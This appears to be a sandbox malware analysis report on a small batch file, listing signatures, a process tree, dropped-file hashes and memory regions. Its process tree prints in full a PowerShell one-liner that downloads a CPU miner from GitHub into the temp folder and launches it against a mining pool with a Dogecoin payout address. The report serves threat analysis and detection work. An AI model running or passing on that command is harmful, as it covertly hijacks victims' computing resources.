Analysis

  • max time kernel
    1799s
  • max time network
    1803s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-de
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-delocale:de-deos:windows10-2004-x64systemwindows
  • submitted
    04-02-2024 03:24

General

  • Target

    73u3Ito.bat

  • Size

    499B

  • MD5

    fe74bff27516829a88cfbc6f6e99646f

  • SHA1

    0c15d859211c79910b277d07e729bec7197a60cd

  • SHA256

    b1f312f139949cac20d0591831ce57c227c6ac77ebd98edfcdafa5c0b02cd2bb

  • SHA512

    a94dbaef073e7b62ff9827887f1da6837103316c5656719b176ba1c2a063066f5f159b8ca783208db629121beea33fb81a94b9e6f4f4ec2612ee923639947a98

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\73u3Ito.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3512
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Invoke-WebRequest -Uri 'https://github.com/JayDDee/cpuminer-opt/releases/download/v23.15/cpuminer-opt-23.15-windows.zip' -OutFile "$env:TEMP\cpuminer.zip"; Expand-Archive -Path "$env:TEMP\cpuminer.zip" -DestinationPath "$env:TEMP\cpuminer"; Set-Location -Path "$env:TEMP\cpuminer"; Start-Process -FilePath 'cmd.exe' -ArgumentList '/k', 'cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2'"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3568
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /k cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2300
        • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1424

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jvsxbl1c.jpm.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

    Filesize

    595KB

    MD5

    cae7f5979a4f6956b81d245964497c60

    SHA1

    0dc3342ad5764a513fb92c17186bb17830c4255f

    SHA256

    6ceb019db56caf61cb0ff202e7ff5995d4d5f97a977d2eb33e5314c2035b3f0f

    SHA512

    b1d244515dd540149d302e272de74ad959378fb2e6f96053433cd48e4e3b5a261d9b9def8579fc411b5ecb30d95b7bde8821779c3c17236dfc81041bf9d36dd6

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

    Filesize

    523KB

    MD5

    02085c4f4a7cd4adc6e0fb0e063e3282

    SHA1

    86e0454211d96552df31fa1e6c6a8ffaeed61a34

    SHA256

    33bf89928002dcae0895679b2bee37f229a3252fd9795a0ebacdacccffaa4188

    SHA512

    32b98a7842d4d410fecf62a3b85ffac148a6e761ed6a45d0f795e4f6db8c11b3cbbcfb65b15c4c1ee877a46a47f7d1de023d56f07b28511a241860971c7346ac

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libcurl-4.dll

    Filesize

    64KB

    MD5

    e7317a0a343dc63f3fa3bf9ca6e93ff0

    SHA1

    0d48881feb76cf81fc46614bebfa3c134cada128

    SHA256

    277a43f17ccc4f0fba87c710212de61a41383bcb94410fa093b50ebd50347a63

    SHA512

    84ef51472db00cd4e90df3062a3cbc29a994c5cf470e54300d4a2f103ba8fb8279ec87b0561625ea1bccd80a7ad664c63457831b4eb919a7608099430b98a3d9

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libcurl-4.dll

    Filesize

    419KB

    MD5

    6ba54357d83a694d41d47c01914a50a9

    SHA1

    6d18ea99962badc5b7cf349511b39687ca06dceb

    SHA256

    c22bc2005124159143893b6bdd3c847a9c8eb90cbb68864516ad6357576008c4

    SHA512

    e28dcd6d2831b9ffc697139733f70629826733d5ceb7da3017811cc62f1e48bde2d9935bc41a6aa0477602eba65636ee63bcbeea901d36a9d1cfc2ee585f5141

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libgcc_s_seh-1.dll

    Filesize

    634KB

    MD5

    dddf8ceb3b9f0babe58e57639ba65000

    SHA1

    0b4b2d1d7cb1e77d628cd70568105d47c63345af

    SHA256

    2fcd4ce0a901c07a3a67c4cc0dffdb18cb9987817a4425e3db157719e9388b18

    SHA512

    688bd856bf73e2d01de26d9c62ad3121abfe9e2bdcbb75d7c9a4d8213c12354fcffd8b9be2986de4e69afa4e26a331786d707bf7889e86237f420fd21ac2799e

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libgcc_s_seh-1.dll

    Filesize

    238KB

    MD5

    99b4adcd7babab4d002c541dab1a71e2

    SHA1

    286dcecaf2aace63cce3ed52759f1cbae8b34b7b

    SHA256

    2bc554ca415f9c5d5833a898ad2d43a94a20f0dd40bc7d72725b5278ea73118b

    SHA512

    c8605b3ba8ccc0f2d7a802d05584331ecb7bb923a5ca5aa55409da0a0394eb2e75feb5b2e15f31e3065bbad468ba0b92eb00b2af658237807790e0b834d0894a

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

    Filesize

    474KB

    MD5

    917bde77a4bd0fa8747c954c2ae56254

    SHA1

    fa5caca3f1f2cd9c3207fed48c80136bb73b0c3a

    SHA256

    c0871b325382d86703020e5dbd48a6f531db4daa1c37b7ade125eebea1553bcb

    SHA512

    b3b3098a3a1a9025df2e41546e70d73abb34dfbbf8bca544b7ded382ddf6276875ac5b48a41b0583349cc3a51152d7070f20b3543c34731cf651b0d2e3174409

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

    Filesize

    995KB

    MD5

    2f891384a7a5b604145adbec1089a118

    SHA1

    bf8784a72afe5037adc6171acd5fb85cd0a525b6

    SHA256

    9893484bf4f61a582e23eaa461fb53d4b80ed7b364e73c0634271c24fc8b0f39

    SHA512

    b9167271c09b7355370aa5a1d4ef8eb4b53db24ef94d26b70bb9ec722268796b212228aa7cdc187479740b268621a717c567669cf2ed0284d62d57ec21677a55

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

    Filesize

    454KB

    MD5

    744b8765d3129ff84e7d5e6c77fd0942

    SHA1

    0080c709ff202d26dc1d005ea879f13216e1458f

    SHA256

    edb0bda164c2d4c7ae512f47cdd6aa0ac370478d9c75aa729b3bd1b6af8ecb5d

    SHA512

    f121d47f16cd4a51a630f3613203d3ae0df84ca6eb595e00d0019ab9a3ada994fa22a09cf36846f133fedcc3094bdb1ebbc6f53f93adb95960550f6902c1c34b

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libwinpthread-1.dll

    Filesize

    143KB

    MD5

    ef368255d0014366b5e1c4ede7b73aa5

    SHA1

    0432c95715ceb305033d3cb3cc6ef39948ecb8c9

    SHA256

    279c29c98cb72111e96e7537f61ce3f851b78b7740b9cadee037b3c25f2a48ff

    SHA512

    c1f5cdd6025339fbc79ddda2e9d2e9595d647af8cb9101a13782da5e42dc3341b16014e8e2352c3adb4d67b6e5c526cbfeaaa7898253255578642376c0178e63

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libwinpthread-1.dll

    Filesize

    139KB

    MD5

    93f96489a139b4000c9287f0956de724

    SHA1

    732f84e00bf6e75486d08456167a47f4d9cfe050

    SHA256

    27ef3797b6abb32b105a2f127cfa2c627a90627c10b23979f1368580d75d5b8c

    SHA512

    2c45ba598c69c134e07f0ac96275a27f43b310d14bb0b5454aa7a29e698c934613f7dfb88c2d34883837220a5eae3babce33a8fa2c9009ca9ad12e5bf71d0586

  • memory/1424-78-0x0000000001110000-0x00000000029C5000-memory.dmp

    Filesize

    24.7MB

  • memory/1424-89-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1424-129-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1424-124-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1424-119-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1424-114-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1424-109-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1424-99-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1424-94-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1424-84-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1424-79-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1424-75-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/1424-76-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/1424-77-0x000000006AA10000-0x000000006AAA8000-memory.dmp

    Filesize

    608KB

  • memory/1424-74-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3568-15-0x00000247FDA20000-0x00000247FDB24000-memory.dmp

    Filesize

    1.0MB

  • memory/3568-16-0x00000247FD760000-0x00000247FD776000-memory.dmp

    Filesize

    88KB

  • memory/3568-11-0x00007FFFF4620000-0x00007FFFF50E1000-memory.dmp

    Filesize

    10.8MB

  • memory/3568-0-0x00000247FD780000-0x00000247FD806000-memory.dmp

    Filesize

    536KB

  • memory/3568-13-0x00000247FD550000-0x00000247FD560000-memory.dmp

    Filesize

    64KB

  • memory/3568-14-0x00000247FCF90000-0x00000247FCFA0000-memory.dmp

    Filesize

    64KB

  • memory/3568-10-0x00000247FD6F0000-0x00000247FD712000-memory.dmp

    Filesize

    136KB

  • memory/3568-22-0x00000247FD950000-0x00000247FD962000-memory.dmp

    Filesize

    72KB

  • memory/3568-12-0x00000247FCF90000-0x00000247FCFA0000-memory.dmp

    Filesize

    64KB

  • memory/3568-17-0x00007FFFF4620000-0x00007FFFF50E1000-memory.dmp

    Filesize

    10.8MB

  • memory/3568-18-0x00000247FCF90000-0x00000247FCFA0000-memory.dmp

    Filesize

    64KB

  • memory/3568-19-0x00000247FCF90000-0x00000247FCFA0000-memory.dmp

    Filesize

    64KB

  • memory/3568-21-0x00000247FCF90000-0x00000247FCFA0000-memory.dmp

    Filesize

    64KB

  • memory/3568-61-0x00007FFFF4620000-0x00007FFFF50E1000-memory.dmp

    Filesize

    10.8MB

  • memory/3568-23-0x00000247FD750000-0x00000247FD75A000-memory.dmp

    Filesize

    40KB